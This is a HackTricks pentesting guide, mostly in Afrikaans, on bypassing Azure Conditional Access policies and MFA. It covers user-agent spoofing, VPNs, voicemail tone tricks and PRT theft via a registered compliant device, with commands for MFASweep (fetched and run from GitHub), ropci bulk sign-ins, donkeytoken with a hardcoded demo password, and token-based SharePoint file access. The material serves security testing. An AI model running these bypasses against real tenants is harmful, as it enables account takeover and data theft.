# Az - Conditional Access Policies & MFA Bypass

{{#include ../../../../banners/hacktricks-training.md}}

## Basiese Inligting

Azure Conditional Access policies is reëls wat in Microsoft Azure opgestel word om toegangbeheer tot Azure-dienste en toepassings af te dwing op grond van sekere **voorwaardes**. Hierdie beleide help organisasies om hul hulpbronne te beveilig deur die regte toegangskontroles toe te pas onder die regte omstandighede.\
Conditional access policies bepaal basies **Wie** toegang kan hê tot **Wat** vanaf **Waar** en **Hoe**.

Hier is 'n paar voorbeelde:

1. **Sign-In Risk Policy**: Hierdie beleid kan ingestel word om multi-factor authentication (MFA) te vereis wanneer 'n aanmeldingsrisiko opgespoor word. Byvoorbeeld, as 'n gebruiker se aanmeldingsgedrag ongewoon is in vergelyking met hul normale patroon, soos aanmelding vanaf 'n ander land, kan die stelsel vir addisionele verifikasie vra.
2. **Device Compliance Policy**: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegestaan word vanaf toestelle wat op datum antivirus-sagteware het of 'n bepaalde bedryfstelselweergawe gebruik.

## Enumeration
```bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```
## Conditional Access Policies Omseilings

Dit is moontlik dat 'n conditional access policy **sekere inligting kontroleer wat maklik gemanipuleer kan word, wat 'n omseiling van die beleid moontlik maak**. En as byvoorbeeld die beleid MFA konfigureer, sal die aanvaller dit kan omseil.

Wanneer 'n conditional access policy gekonfigureer word, moet jy die **users** wat geraak word en die **target resources** (like all cloud apps) aandui.

Dit is ook nodig om die **conditions** wat die beleid sal **trigger** te konfigureer:

- **Network**: IP, IP ranges en geografiese liggings  
  - Kan omseil word deur 'n VPN of Proxy te gebruik om na 'n toegelate land te koppel of deur in te teken vanaf 'n toegelate IP-adres
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: “Any device” of kies Android, iOS, Windows phone, Windows, macOS, Linux  
  - As “Any device” nie gesleep is nie maar al die ander opsies wel, is dit moontlik om dit te omseil deur 'n ewekansige user-agent te gebruik wat nie aan daardie platforms verwant is nie
- **Client apps**: Opsies is “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” en “Other clients”  
  - Om die login te omseil deur 'n nie-geselekteerde opsie te gebruik
- **Filter for devices**: Dit is moontlik om 'n reël te genereer wat verband hou met die gebruikte toestel
- A**uthentication flows**: Opsies is “Device code flow” and “Authentication transfer”  
  - Dit sal nie 'n aanvaller raak nie, tensy hy probeer een van daardie protokolle misbruik in 'n phishing-aksie om toegang tot die slagoffer se rekening te kry

Die moontlike **results** is: Block of Grant toegang met potensiële voorwaardes soos vereis MFA, toestel moet compliant wees…

### Device Platforms - Device Condition

Dit is moontlik om 'n voorwaarde te stel gebaseer op die **device platform** (Android, iOS, Windows, macOS...), maar dit is gebaseer op die **user-agent**, so dit is maklik om te omseil. Selfs al **maak jy al die opsies MFA afdwingend**, as jy 'n **user-agent gebruik wat nie herken word nie**, sal jy die MFA of blokkering kan omseil:

<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>

Net om die browser die **onbekende user-agent stuur** te laat (soos `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is genoeg om hierdie voorwaarde nie te aktiveer nie.\
Jy kan die user agent **manueel** verander in die developer tools:

<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>

Of gebruik 'n [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).

### Locations: Countries, IP ranges - Device Condition

As dit in die conditional policy ingestel is, kan 'n aanvaller net 'n **VPN** in die **allowed country** gebruik of probeer om toegang te kry vanaf 'n **allowed IP address** om hierdie voorwaardes te omseil.

### Cloud Apps

Dit is moontlik om **conditional access policies te konfigureer om byvoorbeeld MFA te blokkeer of af te dwing** wanneer 'n gebruiker probeer toegang tot 'n **specific app**:

<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>

Om te probeer om hierdie beskerming te omseil, moet jy kyk of jy in enige application kan aanmeld.\
Die tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) het **tens of application IDs hardcoded** en sal probeer om by hulle aan te meld; dit sal jou laat weet en selfs die token gee as dit suksesvol is.

In order to **test specific application IDs in specific resources** you could also use a tool such as:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>
```
Verder is dit ook moontlik om die aanmeldmetode te beskerm (bv. as jy vanuit die blaaier of vanaf 'n desktop-toepassing probeer aanmeld). Die hulpmiddel [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) voer 'n paar kontroles uit om ook te probeer om hierdie beskermings te omseil.

Die hulpmiddel [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) kan ook vir soortgelyke doeleindes gebruik word, alhoewel dit ononderhou lyk.

Die hulpmiddel [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kan ook gebruik word om hierdie beskermings te toets en te sien of dit moontlik is om MFA's of blokkades te omseil, maar hierdie hulpmiddel werk vanuit 'n **whitebox** perspektief. Jy moet eers die lys van Apps wat in die tenant toegelaat is aflaai en dan sal dit probeer om by hulle aan te meld.

## Ander Az MFA-omseilings

### Beltoon

Een Azure MFA-opsie is om 'n oproep na die geconfigureerde telefoonnommer te **ontvang** waarin die gebruiker gevra sal word om die karakter `#` te **stuur**.

> [!CAUTION]
> Aangesien karakters net **toone** is, kan 'n aanvaller die **spraakpos**-boodskap van die telefoonnommer kompromitteer, die boodskap as die **toon van `#`** konfigureer en dan, wanneer MFA versoek word, seker maak dat die **slagoffer se foon besig is** (deur dit te bel) sodat die Azure-oproep na die spraakpos herlei word.

### Voldoenende toestelle

Beleide vereis dikwels 'n voldoenende toestel of MFA, so 'n **aanvaller kan 'n voldoenende toestel registreer**, 'n **PRT** token kry en sodoende die MFA **omseil**.

Begin deur 'n **voldoenende toestel in Intune** te registreer, en kry dan die **PRT** met:
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>
```
Vind meer inligting oor hierdie soort aanval op die volgende bladsy:

{{#ref}}
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
{{#endref}}

## Gereedskap

### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)

Hierdie skrip haal 'n paar gebruikersinlogbewyse en kontroleer of dit by sekere toepassings kan aanmeld.

Dit is nuttig om te kyk of jy **nie MFA benodig om by sekere toepassings aan te meld nie** wat jy later dalk kan misbruik om **voorregte te eskaleer**.

### [roadrecon](https://github.com/dirkjanm/ROADtools)

Haal alle beleide op
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)

MFASweep is 'n PowerShell-skrip wat probeer om **in te teken by verskeie Microsoft-dienste met 'n verskafde stel credentials en sal probeer om te identifiseer of MFA aangeskakel is**. Afhangend van hoe conditional access policies en ander multi-factor authentication-instellings gekonfigureer is, kan sommige protokolle uiteindelik as enkelfaktor agterbly. Dit het ook 'n bykomende kontrole vir ADFS-konfigurasies en kan probeer om by die on-prem ADFS server in te teken indien dit opgespoor word.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)

Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en daarna APIs in verskeie produksie AAD-tenants te misbruik, waar AAD-kliënte geglo het dat MFA afgedwing was, maar ROPC-gebaseerde verifikasie geslaag het.

> [!TIP]
> Jy moet toestemming hê om al die toepassings te lys sodat jy die lys van apps kan genereer om te brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)

Donkey token is 'n stel funksies wat sekuriteitskonsultante help om Conditional Access Policies, toetse vir 2FA-enabled Microsoft portals, ens. te valideer.

<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>

**Toets elke portaal** of dit moontlik is om **login sonder MFA**:
```bash
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Omdat die **Azure** **portal** **nie beperk is nie**, is dit moontlik om **'n token vanaf die portal endpoint te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is**. In hierdie geval is Sharepoint geïdentifiseer, en 'n token om toegang daartoe word aangevra:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Stel dat die token die toestemming Sites.Read.All (van Sharepoint) het — selfs al kan jy nie Sharepoint via die web bereik weens MFA nie, is dit moontlik om die token te gebruik om toegang tot die lêers met die gegenereerde token te kry:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Verwysings

- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)

{{#include ../../../../banners/hacktricks-training.md}}
